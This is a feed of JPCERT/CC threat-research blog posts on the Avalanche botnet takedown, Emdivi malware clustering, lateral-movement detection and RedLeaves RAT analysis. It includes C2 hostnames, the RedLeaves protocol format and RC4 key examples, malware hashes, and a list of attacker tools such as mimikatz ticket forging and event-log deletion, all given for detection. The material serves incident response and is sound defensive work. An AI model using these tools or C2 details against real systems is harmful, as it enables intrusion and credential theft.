46 posts categorized "#Threats" Feed

Aug 04, 2017

What the Avalanche Botnet Takedown Revealed: Banking Trojan Infection in Japan

Internet banking services across the globe have been exposed to the threat by unauthorized money transfers and suffering large-scale losses.

In this landscape, an operation led by international law enforcement agencies has been in effect since November 2016 to capture criminal groups conducting unauthorised online banking transfers and dismantle the attack infrastructure (the Avalanche botnet). JPCERT/CC is one of the many supporters of this operation.

For more information about the operation, please see below:

Europol Press Release:

‘Avalanche’ network dismantled in international cyber operation



‘Avalanche’ network dismantled in international cyber operation


This blog entry presents how JPCERT/CC supports this operation and the current state of malware infection in Japan revealed through our local coordination.

JPCERT/CC’s activities in the operation

Some organizations in support of this operation register domains related to the Avalanche botnet to observe communication between any infected devices and the DNS sinkhole. From all the observed data, CERT-Bund (the National CSIRT of Germany) provides information related to Japanese networks to JPCERT/CC. We then notify administrators of the infected hosts to request investigation and coordination to address the issue.

Characteristics of infected devices in Japan

Figure 1 shows the number of malware infected hosts linked to the Avalanche botnet, which were observed between 5 December 2016 and 31 May 2017. Note that extreme spikes caused by irregularities such as dates without any received data are excluded from the graph.

Figure 1: Number of malware infected hosts in Japan (per day)

In December 2016, when we first received data on the Avalanche botnet, there was a daily average of about 17,000 hosts communicating with the DNS sinkhole. However, it decreased to about 11,000 hosts per day at the end of May 2017, thanks to cooperation from our local partners.

In addition, multiple malware families have been observed within the Avalanche botnet. From the data, JPCERT/CC received between 5 December and 4 January, the ratio of malware observed in Japan was as follows:

Figure 2: Ratio of malware (linked to the Avalanche botnet) found in infected hosts in Japan

Rovnix, KINS, Shiotob (a.k.a. URLZone, Bebloh) are known as malware that harvest credentials for Internet banking services. We have confirmed that Rovnix and Shiotob were distributed as attachments to spam emails written in Japanese in 2016.


Through this operation, many infected hosts in Japan have been isolated from the botnet, which resulted in the decreasing trends as in Figure 1. However, besides the malware families hosted in the Avalanche botnet, other types of banking trojans such as Ursnif (or DreamBot) have also been distributed recently through spam emails written in Japanese. JPCERT/CC continues to alert local constituents about these threats.

- Shintaro Tanaka

(Translated by Yukako Uchida)

Jul 05, 2017

Clustering Malware Variants Using “impfuzzy for Neo4j”

In a past article, we introduced “impfuzzy for Neo4j”, a tool to visualise results of malware clustering (developed by JPCERT/CC). In this article, we will show the result of clustering Emdivi using the tool. Emdivi had been seen until around 2015 in targeted attacks against Japanese organisations. For more information about Emdivi, please refer to JPCERT/CC’s report.

Clustering Emdivi with impfuzzy for Neo4j

Emdivi has two major variants - t17 and t20, and we chose the former for this analysis. Figure 1 shows the output of running impfuzzy for Neo4j.

Figure 1: Emdivi t17’s clustering result using impfuzzy for Neo4j

As a result of the analysis, 90 samples were clustered into 4 types. Figure 2 visualises the clustering results. Detailed results are documented in Appendix A. (For detailed instructions on the tool, please see our past blog article.)

Figure 2: Visualised result of Emdivi t17 clustering (Colouring provided for better understanding.)

It stood out that each cluster (Type 1 through Type 4) highly corresponds to the compiled date of the malware sample (see Appendix A).

Hash values of malware samples are generated by impfuzzy (Import API), which is then used to calculate the similarity. Therefore, the reason for this type clustering is unknown solely from this analysis. Manual analysis is required to examine what makes Import APIs different in each type.

The following sections will describe the reason why Emdivi t17 samples were clustered into 4 types and how the transition occurred from one type to another.

From Type 1 to 2

The clustering results in Appendix A indicate the transition from Type 1 to 2 occurred around September 2014. We noticed a change in linker versions.

PE files have header information called IMAGE_OPTIONAL_HEADER[1]. This contains MajorLinkerVersion and MinorLinkerVersion, which indicates its linker version. Looking into the linker version used when creating Emdivi t17, Type 1 mainly uses 10.0 (Visual Studio 2010) while Type 2 uses 9.0 (Visual Studio 2008). It is considered that these samples were differentiated due to the change in the linker version, which accordingly changed the Windows APIs that the malware loads.

From Type 2 to 3

It was around November 2014 when Type 2 changed to Type 3, and this transition reflects the change in the method of loading Windows API. Usually, PE file loads Windows API upon execution by specifying an API name in Import Name Table (INT) inside the PE header. (Please refer to a past blog article for more information.)

However, Type 3 samples possess some obfuscated Windows API names and load it when using Windows API. Figure 3 is the results of decoding obfuscated strings in Emdivi t17, which indicates that Type 3 contains some obfuscated Windows API names (marked in red).

Figure 3: Comparison of decoded strings in Emdivi t17 clustered as Type 2 and 3

The Windows APIs obfuscated in Type 3 are deleted from its INT. This means that the Windows API that the malware aims to execute cannot be identified by just looking at the INT.

This change in Windows API load method is thought to be the reason for the difference between Type 2 and 3.

From Type 3 to 4

Transition from Type 3 to 4 occurred around May 2015. This is due to a new bot (remote control) function being added. Here is the list of bot functions that Type 4 has. “GOTO” is the new function to Type 4.

  • GOTO

The added bot function resulted in new Windows APIs being used, which distinguishes Type 4 from 3.


It is not practical to manually analyse a large number of malware samples. It is rather important to automate malware clustering process to find new types of malware and changes in malware features. With the analysis example, we demonstrated an example of effective malware analysis using impfuzzy for Neo4j by focusing on samples with different features. The tool is available on Github, and we hope this helps your malware analysis.

- Shusei Tomonaga

(Translated by Yukako Uchida)


[1] Microsoft: IMAGE_OPTIONAL_HEADER structure

Appendix A Emdivi t17 Clustering Results
Table 1: List of Emdivi t17 Clustering Results
No. Compile Time EmdiviVersion LinkerVersion Type SHA256
1 2013-11-21 17:00:52 t17.08.2 10.0 1 6b0192ec4f0290c0c00517eeb75648e340dacc58189d9d6adee844283cda4a5f
2 2013-12-24 12:13:21 t17.08.2 10.0 1 c162df8761e09c95160e9d432d310a4673d53615c2ff837a1a6f322e45038180
3 2014-01-06 11:33:48 t17.08.2 10.0 1 bf8cba80f4d80e13f11c8231477f0b96c3a9e9abc8da798e6cede052f6801aa8
4 2014-01-06 11:48:05 t17.08.2 10.0 1 742c70238ea0b2b0a1d66660913b18deaff2af35c6dc5b19e9d2158249cae433
5 2014-01-19 16:12:41 t17.08.2 10.0 1 18dfb3ff38c802f54c66c7d06380e7aff4834ac7a0c9ea35e50f46cf40266c3a
6 2014-01-21 12:29:03 t17.08.2 10.0 1 08a542fe7f8450d2c66b5e428872860d584bc5be714a50293a10aef415310fe8
7 2014-01-21 20:07:01 t17.08.2 10.0 1 bf9229b342c144970358308ccb017802cb2ff5c2086bf0367d9d72f34556b7c1
8 2014-01-23 16:32:01 t17.08.2 10.0 1 2bf87ec696356a685b081b9e0aec88c3ac3e3353927f712e978db0d2f5a9476b
9 2014-02-28 10:52:43 t17.08.5 10.0 1 396c7766eb8873227c270eae2b13357dbcd68fa7f07053dd280375418eeee614
10 2014-03-13 13:05:13 t17.08.9 10.0 1 138e7c2e5cf0caba02d005752686a66482df23f4b4b648f446f2afada32a5750
11 2014-04-01 12:08:03 t17.08.9 10.0 1 4df19e155cac0735500cffae49007b3d971979cccca779a5af685db489b4b042
12 2014-05-07 13:52:46 t17.08.10 10.0 1 b97ab11d1154fae07d2cfab055cdc6b745a5117fc1d8e557f6a244040ba7cce3
13 2014-05-08 12:22:24 t17.08.10 10.0 1 04b9a6ef5ef6cdaf42e90431039bd56b68082c5056889cf4b9ababc6e0834b56
14 2014-05-11 15:44:46 t17.08.9 10.0 1 83620f29a19a4d372e256d98ebfd2d3e5cb4b8db97b385c2942914298b8d2870
15 2014-06-03 10:41:46 t17.08.9 10.0 1 4422d1568f729c316e8d02a35fe147c4c36c91d650989e9ac3caa6fbbc086b37
16 2014-07-17 10:48:24 t17.08.9 10.0 1 e7ae0995e3d4dd9c3fed51d5bca73ea9fa3edd90e2e87fc0cfac58165afdf4e8
17 2014-07-22 17:40:31 t17.08.9 10.0 1 7875c21473cf5f8d936f1335c049ae6df9e0b0574b263060d7a526f3d53cbf07
18 2014-07-28 18:01:59 t17.08.16 10.0 1 c805af2204c1d8612cd929b93fc5c38a448a03561d410d7a198c313553e47e39
19 2014-08-04 13:57:34 t17.08.16 10.0 1 3243925baa06dc69731da91da49242fd73aea38afe46e171708de4ecd4e53b80
20 2014-08-05 12:51:43 t17.08.18 8.0 1 92860e0a9e7dc49c43a0db87d4fb345294000ac3191af1dc6d702b89628c97eb
21 2014-08-06 09:22:32 t17.08.16 10.0 1 df97dd9607f0fdcc10f9ba99e6c3d01eb8453ceeeab840ef6b965458e24485bc
22 2014-08-12 18:09:41 t17.08.16 10.0 1 d26eb51e2787353b18c8f290f0710510423e3925a796697ff15aafd14fea6f2d
23 2014-08-18 12:21:10 t17.08.16 10.0 1 37f43f9c4298dc41f6b1ed03396cc1f7da664ed25e97c4263e6c360f59f3a51b
24 2014-08-19 20:01:29 t17.08.16 8.0 1 9fc76d0fb4f01819c0d9af09a0357dab6c33a4d5f6e41cafebeb9ef7ae35c99e
25 2014-09-09 13:34:21 t17.08.18 9.0 2 f017218f05d225cdb62f3081c4dac4b09a3fb2b93c01096bd4141b67d3eb3bbf
26 2014-09-18 09:26:42 t17.08.18 9.0 2 139e22abe7aaec635e2b570935636c4894a19a7b284516b77f190b78a369c4d6
27 2014-09-22 09:51:33 t17.08.18 9.0 2 a00e37d1d3fe990ebac26a4805a7ab42bd1dcf7ef65f151906204eee7b0c71fd
28 2014-09-25 10:34:10 t17.08.18 9.0 2 3d084155e6f79b45acba165cd4a17a3bed42daba478c14a795dc2c2809f302b6
29 2014-09-28 20:52:36 t17.08.18 9.0 2 196364b3e78add557b6f0471fb32061468bb2b20e16acd1a7686122234c984a7
30 2014-09-30 12:10:55 t17.08.21 9.0 2 8c3666940afd65835e4251fbd14942d210323d46adf57c5e8f29b61d552fd386
31 2014-10-07 11:50:57 t17.08.21 9.0 2 878937da134339ccd8c6bbc5ac020472c20a42fb1f07b56152cfcc1656077d62
32 2014-10-08 18:31:01 t17.08.21 9.0 2 b99f08be6a476d359820c48345ddf4f2f0fcc1ca041f3630680635c675a1d7be
33 2014-10-21 15:13:53 t17.08.21 9.0 2 1209d8b3c83c72df781b805a2c17a0939c841384aadc32e4e9005536a3bba53f
34 2014-10-24 17:16:08 t17.08.21.3 9.0 2 c89823eba2bdcdfcae33b33fb358154debe3fd88c75c684aa6b510e2d4b3ca53
35 2014-10-27 10:29:00 t17.08.21 9.0 2 884cbc1f0e70efae4815127bda7bab50883a707581d9d4061d268249c154ff2d
36 2014-10-28 12:48:54 t17.08.21 9.0 2 682b6c9d468e8d0ab8b5d4080cecf52a9dd66b59b99936a4941b8190c5f3fff9
37 2014-11-04 19:15:32 t17.08.23 9.0 3 23449109f0d4b07fd8010bb36b3b1084b48d5ac515725b68bf32322b4902397e
38 2014-11-05 21:15:57 t17.08.23 9.0 3 a79cfba79489d45a928ef3794d361898a2da4e1af4b33786d1e0d2759f4924c3
39 2014-11-05 22:00:42 t17.08.23 9.0 3 9801caaf44ce9a6be3f497e706f5b71dcc7c50351374c33dc2c9fcbb55f55e05
40 2014-11-06 13:55:46 t17.08.23 9.0 3 b19a233b07a1342f867aef1b3fb3e473b875bd788832bb9422cacb5df1bda04e
41 2014-11-13 10:52:56 t17.08.23 10.0 1 6c4c3bc7b0dfe531790bfb023b141c23f3c17a9971fed704d1b46e43f97d41c1
42 2014-11-13 11:34:31 t17.08.23 10.0 1 21a51f69d08aaf0aaaeb5b8413bb710c1727d9d08a9a1f46883f6f93691e0870
43 2014-11-14 13:10:40 t17.08.25 9.0 3 28a774235865924a7fec405aaf6463164a03f6e646c9fd964c3191304e59d35b
44 2014-11-18 11:56:13 t17.08.25 9.0 3 29a480579353c85e48b996ebc38cad9313ad6b9e495a3a69bf1519837acab04f
45 2014-12-08 15:19:29 t17.08.25 9.0 3 34bc147423f565bf38100913d25f85057e252755eef622abc1b788d511caf605
46 2014-12-11 18:28:38 t17.08.25 9.0 3 a188b87e495e4b0aad0d0595987677f9758479b120fb2ed3a04fba308a66830a
47 2014-12-16 18:13:13 t17.08.25 9.0 3 e39b1b36a5da4ad0f9c103478ab469b13a0528540ddbd1679eb24349a6726dbf
48 2014-12-24 10:37:26 t17.08.25 9.0 3 037b0dbfc2643a4a4779f6e3a8e5c8c41cbcd64533d2245c9a26dfd1d4f55dd8
49 2015-01-12 11:58:46 t17.08.25 9.0 3 9e74825e251a4f4cef9bc98273082f3b58695a224b1ed16ba6dedaa4c154cb21
50 2015-01-20 11:10:12 t17.08.26 9.0 3 5e221bd0eef231b7a948d8f6a2f660f8d6685cf2711fe50311485227ebcf9e51
51 2015-01-20 11:59:37 t17.08.26 9.0 3 635b43f7c0508f5e2cbf26f81daf0a730a0f0b06303c54c747b780f91430bb7f
52 2015-01-22 11:25:49 t17.08.26 9.0 3 efa57d43145de9a1e3c7541f94837a9c7b76d604b779d9847637d4a55b1ee723
53 2015-01-22 16:06:33 t17.08.26 9.0 3 9ace48ecef568bb9f5ccd462ca3efb4c2fbc15f0316323f1729e88cbe184158d
54 2015-01-23 10:14:46 t17.08.26 9.0 3 42e6b7afe4da672ab9bf647e73201135b3faf2121b629612b35307dc0d8698e4
55 2015-01-26 10:15:10 t17.08.26 9.0 3 9ebef65f00fc6ad70f591f7fb1f39f0f6b1766ff3fd9f47693ce669e70f84abb
56 2015-02-03 11:35:23 t17.08.26 8.0 3 6aed51b108d9f9f197842e17b0f58d4dec3709ca1eae4d42146d0bba0c145eaf
57 2015-03-02 10:18:13 t17.08.27 9.0 3 f6fce0464f1ad8044092e6812bdfb8545e1df5ee23aba828b4dcb86fb6d0e62b
58 2015-03-04 13:08:13 t17.08.27 9.0 3 fca765c535d1870d71ee152e5b004e73515ade1ee1c9a512a0858a508380465d
59 2015-03-05 12:59:51 t17.08.27 9.0 3 eac8441227077edb28adf096c5493710e2ca1978f4e4c4b2b93d481cd482d890
60 2015-03-17 12:50:29 t17.08.27 9.0 3 9f66ad282373b8b0df45dd32723dcdfcd4821e22cba4912678c3c8632e722730
61 2015-03-19 16:03:19 t17.08.27 9.0 3 77fa012060884d17eea1e54d97176a7a88c499f03315dfd602c1e1e17e556ede
62 2015-03-20 11:44:49 t17.08.27 9.0 3 3cade660e227faadad0060d793b69cb778842a514ac6996bc6aaddb6a055f445
63 2015-03-20 13:04:19 t17.08.27 9.0 3 6c3b955ad677ff26428d95a35b3a22ca3d523265674f08b6a0b59df270e6bf19
64 2015-03-24 13:07:23 t17.08.27 9.0 3 400a08b4a067b1e2fb3bee509bf933a746cf3ef2d000bb3181c7176344641a01
65 2015-04-22 12:29:48 t17.08.29 9.0 3 e3a2d62a997d4e9ee581fd86d312ac34caddd3165c07ca30c6741b4c21088d08
66 2015-04-24 12:07:43 t17.08.29 10.0 1 782b3bed336eab77a49df51e697bc64d830f7f11a32ff49abc599fe5b074e0b9
67 2015-05-20 12:52:28 t17.08.30 9.0 4 e03e6f7d98b214b5051b7484e4099ce5bd8c46e49faf44002c8ba146977127ef
68 2015-05-21 16:38:39 t17.08.30 9.0 4 28426751f30de4091dee898c70f49ec2ece607b6b642b45f5dcd9ae73ac38739
71 2015-05-22 12:51:18 t17.08.30 9.0 4 09178fa9c4be32982619a183b8b76bfc2ff57486aac04c8fed654a4d9fe91436
69 2015-05-22 12:51:18 t17.08.30 9.0 4 cb3976965f2105492193889f3f58f2ef2ccfeb8604e2b9448055ec6608d4aa85
70 2015-05-22 12:51:18 t17.08.30 9.0 4 de8759fe34eb2f395574be79479832402aa4d113e102d6945df493abee3d8b34
72 2015-05-28 13:48:14 t17.08.30 9.0 4 05ef4e0de8d57e6cd10d1673fcfca9c03b6e9a271d54028781e96235c4530e15
73 2015-06-02 12:15:26 t17.08.30 9.0 4 07b7041016c16341ea1f35a8c5fb5312d15f089ed5e925f78ffdd2568a8cf17c
74 2015-07-06 11:34:56 t17.08.31 9.0 4 c59ebe1fa6abe52c85f5f56a7da810a35e44c4772746bc829fa7d9e4e6a59477
75 2015-07-10 09:40:15 t17.08.31 9.0 4 3e850306025c231f09fa1922d1bb8e1a40bd8acc142d92219d9e9c8f8911b77d
76 2015-07-10 10:58:16 t17.08.31 9.0 4 008f4f14cf64dc9d323b6cb5942da4a99979c4c7d750ec1228d8c8285883771e
77 2015-07-13 01:23:13 t17.08.31 9.0 4 e919ae6a3bdc6abe6b695215a53b74072a39b86757e049f930866b3f69000957
78 2015-07-13 11:46:27 t17.08.31 9.0 4 567fa6bf28862ce7d14a2f3cf5b718780213fa3ee73f59557c29525f8daa200c
79 2015-07-14 10:57:44 t17.08.31 9.0 4 a94bf485cebeda8e4b74bbe2c0a0567903a13c36b9bf60fab484a9b55207fe0d
80 2015-07-14 11:16:54 t17.08.31 9.0 4 5a30f9010a316cc74ed271e732741c6d5d38f0e1c6f3b547176adcd40cb547ae
81 2015-07-14 18:44:14 t17.08.31 9.0 4 bfcd987ca3e79bd7ba8dde95a392dbba02ffa30242954a0cfa35ec81182f0cc8
82 2015-07-16 10:10:07 t17.08.31 9.0 4 3caf60dd3bb551d4da244dffaeb68fe01b59cd19bd0f0509611b706048b3382f
83 2015-07-28 13:56:35 t17.08.31 9.0 4 280371475442917b782f6a834003313f3aa0e5bb65f0acac5aab673d04336ba4
84 2015-08-05 09:51:31 t17.08.31 9.0 4 3cebf71221af741ea0b0883b45c092f900b513de3a004f81d3c595648311b7e9
85 2015-08-07 10:23:11 t17.08.34 8.0 4 90d07ea2bb80ed52b007f57d0d9a79430cd50174825c43d5746a16ee4f94ea86
86 2015-08-13 09:48:01 t17.08.34 8.0 4 6a331c4e654dd8ddaa2c69d260aa5f4f76f243df8b5019d62d4db5ae5c965662
87 2015-08-13 10:35:15 t17.08.34 8.0 4 17e646ca2558a65ffe7aa185ba75d5c3a573c041b897355c2721e9a8ca5fee24
89 2015-08-19 10:16:01 t17.08.34 8.0 4 22957429e8ab527ff8bb45fbc50aa8400ea643a68de8d43da3fee3239e2159d4
88 2015-08-19 10:16:01 t17.08.34 8.0 4 3553c136b4eba70eec5d80abe44bd7c7c33ab1b65de617dbb7be5025c9cf01f1
90 2015-10-13 10:52:52 t17.08.34 8.0 4 e68e835904aaef2da5b38e9532036117996d58d3fba05cbe454f9d418be60ef4

Jun 12, 2017

Research Report Released: Detecting Lateral Movement through Tracking Event Logs

JPCERT/CC has been seeing a number of APT intrusions where attackers compromise a host with malware then moving laterally inside network in order to steal confidential information. For lateral movement, attackers use tools downloaded on infected hosts and Windows commands.

In incident investigation, traces of tool and command executions are examined through logs. For an effective incident investigation, a reference about logs recorded upon tool and command executions would be useful.

JPCERT/CC conducted a research on typical tools and commands that attackers use after intrusion, and traces that they leave on Windows when executed. The result of the research is available on the report below:

Detecting Lateral Movement through Tracking Event Logs


This entry will introduce the overview of the report.

Intended Audience

This report is designed for technical staff including those responsible for initial investigation of incidents. Even without forensic software or knowledge in forensics, readers capable of examining event logs and registry entries can understand the contents.

Tools and Commands

44 typical tools and commands have been featured on the report (as described in Appendix A) based on what JPCERT/CC has seen in multiple incident cases. Since these tools and commands are used by multiple attackers, it is likely that analysts encounter some of them during incident investigation.

Need for Detailed Logs

Under the default configuration of Windows, many of these tools and commands are not logged. In order to investigate what attackers did during the incident, preparation for log retention is necessary. The report describes how to record tools and command executions by setting audit policy and installing Sysmon. Other than the methods explained in the report, it is also possible to collect such logs with audit applications or EDR products.

Way Forward

We are planning to examine other tools and commands as well. In addition to event logs and registry entries, we will also look into forensic artifacts such as MFT and journal files.

We welcome any feedback from you at global-cc [at] jpcert.or.jp.

-         Shusei Tomonaga

(Translated by Yukako Uchida)

Appendix A:  Examined Commands and Tools
Table 1: List of Examined Commands and Tools
Attacker's Purpose of Using ToolTool
Command execution PsExec
Obtaining password hash PWDump7
Quarks PwDump
Mail PassView
Remote Desktop PassView
Malicious communication relay
(Packet tunneling)
Fake wpad
Remote login RDP
Escalation to SYSTEM privilege MS14-058 Exploit
MS15-078 Exploit
Privilege escalation SDB UAC Bypass
Capturing domain administrator
rights account
MS14-068 Exploit
Golden Ticket (mimikatz)
Silver Ticket (mimikatz)
Capturing Active Directory database
(Creating a domain administrator user or
adding it to an administrator group)
Adding or deleting a user group net user
File sharing net use
net share
Deleting evidence sdelete
Deleting event log wevtutil
Obtaining account information csvde

May 02, 2017

Volatility Plugin for Detecting RedLeaves Malware

Our previous blog entry introduced details of RedLeaves, a type of malware used for targeted attacks. Since then, we’ve seen reports including those from US-CERT that Management Service Providers (MSPs) have been targeted [1] [2]. In the US-CERT report, some instances have been identified where RedLeaves malware has only been found within memory with no on-disk evidence because of the behavior of self-elimination after the infection.

To verify the infection without on-disk evidence, investigation needs to be conducted through memory dump or logs (e.g. proxy logs) stored in network devices.

This article introduces a tool to detect RedLeaves in the memory.

It is available on GitHub:

JPCERTCC/aa-tools · GitHub


Tool Details

The tool works as a plugin for The Volatility Framework (hereafter “Volatility”), a memory forensic tool. redleavesscan.py has the following functions:

  • redleavesscan: Detect RedLeaves in memory images
  • redleavesconfig: Detect RedLeaves in memory images and extract malware configuration

To run the tool, save redleavesscan.py in ”contrib/plugins/malware” folder within Volatility, and execute the following command:

$python vol.py [redleavesscan|redleavesconfig] –f <memory.image> ––profile=<profile>

Figure 1 shows an example output of redleavesscan. You can see the detected process name (Name), Process ID (PID) and the name of detected malware (Malware Name).

Figure 1: Output of redleavesscan

Figure 2 shows an example output of redleavesconfig. For details about RedLeaves configuration, please see our previous blog entry.

Figure 2: Output of redleavesconfig

In closing

It has been confirmed that the attacker group who uses RedLeaves also uses PlugX. To detect PlugX in memory, please use the Volatility plugin released by Airbus [3].

- Shusei Tomonaga

(Translated by Yukako Uchida)


[1] US-CERT: Intrusions Affecting Multiple Victims Across Multiple Sectors


[2] PwC: Operation Cloud Hopper


[3] Volatility plugin for PlugX


Apr 03, 2017

RedLeaves - Malware Based on Open Source RAT

Hi again, this is Shusei Tomonaga from the Analysis Center.

Since around October 2016, JPCERT/CC has been confirming information leakage and other damages caused by malware ‘RedLeaves’. It is a new type of malware which has been observed since 2016 in attachments to targeted emails.

This entry introduces details of RedLeaves and results of our analysis including its relation to PlugX, and a tool which is used as the base of this malware.

How RedLeaves runs

To have the RedLeaves injected into the process of Internet Explorer, the following steps will be taken (Figure1):

Figure 1: Flow of events until RedLeaves runs

Malware samples that JPCERT/CC has analysed create the following three files in %TEMP% folder and execute a legitimate application when executed.

  • A legitimate application (EXE file): a signed, executable file which reads a DLL file located in the same folder
  • A Loader (DLL file): a malicious DLL file which is loaded by the legitimate application
  • Encoded RedLeaves (DATA file): Encoded data which is read by the loader

When the legitimate application is executed, it loads the loader located in the same folder through DLL Hijacking (DLL preloading).

The loader, which is loaded in the legitimate application, reads and decodes the encoded RedLeaves and then executes it. The executed RedLeaves launches a process (Internet Explorer) depending on its configuration, and injects itself there. Then, RedLeaves starts running in the injected process. The following section explains the behaviour of the injected RedLeaves.

Behaviour of RedLeaves

RedLeaves communicates to specific sites by HTTP or its custom protocol and executes commands that are received. Figure 2 is the PE header of the injected RedLeaves. Strings such as “MZ” and “PE” are replaced with “0xFF 0xFF”.

Figure 2: Injected RedLeaves

The injected RedLeaves connects to command and control (C&C) servers by HTTP POST request or its custom protocol. Destination hosts and communication methods are specified in its configuration. Please refer to Appendix A for more information.

Below is an example of the HTTP POST request. Table B-1 and B-2 in Appendix B describe the format of the data sent.

POST /YJCk8Di/index.php
Connection: Keep-Alive
Accept: */*
Content-Length: 140


The data is encrypted with RC4 (the key is stored in its configuration) and contains the following:


The data received from the C&C servers contain commands. Depending on the received commands, RedLeaves executes the following functions (Please see Table B-3 in Appendix B for the details of received data):

  • Operation on files
  • Execute arbitrary shell commands
  • Configure communication methods
  • Send drive information
  • Send system information
  • Upload/download files
  • Screen capture
  • Execute proxy function

Base of RedLeaves’s Code

JPCERT/CC analysed RedLeaves and confirmed that its code has a lot in common with the source code of Trochilus[1], a type of RAT (Remote Administration Tool), which is available on Github. Figure 3 shows part of the code to process received data. It is clear that it processes the same data as listed in Table B-3 in Appendix B.

Figure 3: Part of Trochilus’s source code

It is presumed that RedLeaves is built on top of Trochilus’s source code, rather than from scratch.

Relation to PlugX

Comparing RedLeaves samples that JPCERT/CC has observed with PlugX, used by certain attacker groups in the past, we identified that similar code is used in some processes. Below are the sequence of instructions observed when the sample creates three files (a legitimate application, a loader and encoded RedLeaves or PlugX).

Figure 4: Comparison of file creation process

Furthermore, the process in which the loader decodes the encoded data (encoded RedLeaves or PlugX) is similar.

Figure 5: Comparison of file decode process

JPCERT/CC has also confirmed that some of the RedLeaves and PlugX samples that share the above code also communicate with common hosts. From this observation, it is presumed that the attacker group using RedLeaves may have used PlugX before.


RedLeaves is a new type of malware being observed since 2016 in attachments to targeted emails. Attacks using this malware may continue.

The hash values of the samples introduced here are listed in Appendix C. Some of the RedLeaves’ destination hosts that JPCERT/CC has confirmed are also listed in Appendix D. Please check your devices for any suspicious communication with such hosts.

- Shusei Tomonaga

(Translated by Yukako Uchida)


[1] Trochilus: A fast&free windows remote administration Tool


Appendix A: Configuration information
Table A: List of Configuration Information
0x000 Destination 1
0x040 Destination 2
0x080 Destination 3
0x0C0 Port number
0x1D0 Communication mode 1=TCP, 2=HTTP, 3=HTTPS, 4=TCP and HTTP
0x1E4 ID
0x500 Mutex
0x726 Injection Process
0x82A RC4 key Used for encrypting communication

RC4 key examples:

  • Lucky123
  • problems
  • 20161213
  • john1234
  • minasawa
Appendix B: Communicated data
Table B-1: Format of data sent through HTTP POST request
0x00 4 Length of data encrypted with RC4 (XOR encoded with the first 4 bytes of the RC4 key)
0x04 4 Server id (XOR encoded with the first 4 bytes of the RC4 key)
0x08 4 Fixed value
0x0C - Data encrypted with RC4

Table B-2: Format of data sent through its custom protocol
0x00 4 Random numerical value
0x04 4 Fixed value
0x08 4 Length
0x0C 4 Length of data encrypted with RC4 (XOR encoded with the first 4 bytes of the RC4 key)
0x10 4 Server id (XOR encoded with the first 4 bytes of the RC4 key)
0x14 4 Fixed value
0x18 - Data encrypted with RC4

Table B-3: Contents in received data
__msgid Numeric Command
__serial Numeric
__upt true, etc. Whether the command is executed by a thread
__data data Command parameter, etc.
Appendix C: SHA-256 hash value of the samples


  • 5262cb9791df50fafcb2fbd5f93226050b51efe400c2924eecba97b7ce437481


  • fcccc611730474775ff1cfd4c60481deef586f01191348b07d7a143d174a07b0
Appendix D: Communication destination host
  • mailowl.jkub.com
  • windowsupdates.itemdb.com
  • microsoftstores.itemdb.com

Mar 23, 2017

Malware Clustering using impfuzzy and Network Analysis - impfuzzy for Neo4j -

Hi again, this is Shusei Tomonaga from the Analysis Center.

This entry introduces a malware clustering tool “impfuzzy for Neo4j” developed by JPCERT/CC.

Overview of impfuzzy for Neo4j

impfuzzy for Neo4j is a tool to visualise results of malware clustering using a graph database, Neo4j. A graph database is a database for handling data structure comprised of records (nodes) and relations among the records. Neo4j provides functions to visualise registered nodes and relations in a graph.

impfuzzy for Neo4j operates in the following sequence:

  1. Calculate the similarity of malware using impfuzzy
  2. Generate a graph (network) based on the similarity
  3. Conduct network analysis over the graph (clustering)
  4. Register and visualise the clustering results on Neo4j database

First, the tool calculates the similarity of malware using impfuzzy; the techniques to estimate the similarity of Windows executables based on a hash value generated from Import API. impfuzzy was introduced in our blog article before, so please take a look for further details.

After that, a graph is generated by connecting nodes that were judged to be similar based on the impfuzzy results. The graph is then analysed using Louvain method [1]. This is one of the methods to cluster network graphs, which outperforms other algorithms in speed. With this analysis, malware is automatically classified into groups.

Finally, the information of analysed malware and its group is registered in Neo4j database.

Figure 1 describes the clustering result of Emdivi malware using impfuzzy for Neo4j.

Figure 1: Clustering result of Emdivi by impfuzzy for Neo4j

In this graph, types of malware (pink nodes) that are judged to be similar are connected with lines. From the above visualisation, it is clear that there are several groups of their variants with high similarity.

Since impfuzzy for Neo4j automatically clusters related samples through network analysis, it is possible to extract samples that belong to a specific group. Figure 2 visualises the relationship of a specific group from the example in Figure 1. The numbers on the grey lines (grey edges) between samples indicate the similarity of the malware in the range from 0 to 100 (the higher the number is, the more similar the samples are).

Figure 2: Visualisation results of samples belonging to a specific group

How to obtain and use impfuzzy for Neo4j

The tool is available on GitHub. Please refer to the following webpage:

JPCERTCC/aa-tools GitHub - impfuzzy for Neo4j


Here are the instructions for using impfuzzy for Neo4j.

1. Obtain and install Neo4j community edition

Download Neo4j community edition from the following webpage and install it:


2. Download impfuzzy_for_neo4j.py

From the following webpage:


3. Install the software required for executing impfuzzy_for_neo4j.py

  • Install Python module pyimpfuzzy
$ pip install pyimpfuzzy

For more information on the install procedures, please see:


  • Install Python module py2neo v3
$ pip install py2neo

For more information on the install procedures, please see:


  • Download Python script pylouvain.py from the following webpage and save it to the same folder as impfuzzy_for_neo4j.py


4. Run Neo4j

Run Neo4j by GUI or a command line.

5. Configure a password for Neo4j in impfuzzy_for_neo4j.py

Configure the login password for Neo4j in impfuzzy_for_neo4j.py (change the {password} below).

NEO4J_PASSWORD = "{password}"

How to use impfuzzy for Neo4j

To use impfuzzy for Neo4j, use these options to specify the input of malware to cluster.

  • -f - Specify malware (a file)
  • -d - Specify a folder where malware is stored
  • -l - Specify a CSV file(*) which lists malware

(*) The format of CSV files are the following:

File name, impfuzzy hash value, MD5 hash value, SHA1 hash value, SHA256 hash value

In the following example, malware is stored in the folder ‘Emdivi’ which is passed as a parameter.

Figure 3: impfuzzy for Neo4j execution result

Clustering results are registered in Neo4j database. Visualisation is available through the web interface of Neo4j, which is accessible from the URL below (The following is an example of Neo4j installed in a local environment).


For visualising a graph of clustering results, a Cypher query (a command to operate Neo4j database) needs to be executed through the web interface. Figure 4 is an example of executing a Cypher query through the web interface.

Figure 4: Example of Cypher query execution

Cypher queries to execute are different depending on what kind of clustering results you would like to visualise. Below are the examples of Cypher queries to visualise different clustering results.

[Example 1] Visualise all clustering results (Figure 1 is the result of the following Cypher query)

$ MATCH (m:Malware) RETURN m

[Example 2] Visualise a group of samples with a specific MD5 hash value (Figure 2 is an example of the following Cypher query)

MATCH (m1:Malware) WHERE m1.md5 = "[MD5 hash value]"
MATCH (m2:Malware) WHERE m2.cluster = m1.cluster


[Example 3] Visualise all clustering results with impfuzzy similarity level over 90

$ MATCH (m:Malware)-[s:same]-() WHERE s.value > 90 RETURN m,s


